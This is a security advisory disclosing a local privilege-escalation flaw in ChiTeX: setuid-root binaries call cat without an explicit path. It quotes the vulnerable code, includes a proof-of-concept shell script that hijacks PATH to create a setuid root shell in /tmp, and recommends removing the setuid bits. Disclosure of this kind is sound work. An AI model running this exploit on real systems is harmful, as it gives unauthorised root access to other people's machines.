Safemode.org security advisory: CHITEX
ChiTeX can be used to put Chinese Big5 codes in TeX/LaTeX documents.
Operations with the ChiTeX are just like the English TeX, apart
from some special instructions in it. For more information about
this package, refer to the homepage of the author Chen Hung-Yih:
The ChiTeX packages contains 2 setuid root binaries that execute
cat without using an explicit path. This bug can allow local users
to gain root level privileges.
ChiTeX version 6.1.2p7.8-1 was tested to be vulnerable. It is very
likely that this issue also affects other, especially older,
versions of ChiTeX.
The setuid root binaries chadd and chaddpfbname use the following
system("cat special.tmp >> $TEXMF/fontname/special.map");
system("cat psfontsmap@ >> $psfontsmap");
system("cat psfontsmap@ >> $pdftexmap");
As you can see, cat is executed without using a full path. If a user
creates a file called 'cat' in /tmp, adds /tmp to $PATH and then
executes chadd or chaddpfbname, the cat file will be executed with
A user can also create a file named 'psfontsmap@' and let chaddpfbname
append this file's content to any file defined in the $pdftexmap
or $psfontsmap environment variables.
The script below will demonstrate this vulnerability by creating
a setuid root shell and the file /tmp/owned (with 'owned' as content)
--- start ---
echo 'owned' > 'psfontsmap@'
echo "/bin/cp /bin/sh /tmp/.sh" > /tmp/cat
echo "/bin/chmod 4755 /tmp/.sh" >> /tmp/cat
chmod +x /tmp/cat
/tmp/.sh -c id
--- stop ---
Note this is simple proof of concept code: you might have to change the path
The author, professor Chen Hung-Yih, was been notified about this
issue several weeks ago but unfortunately, did not release a fix
Remove the setuid permissions from the binaries.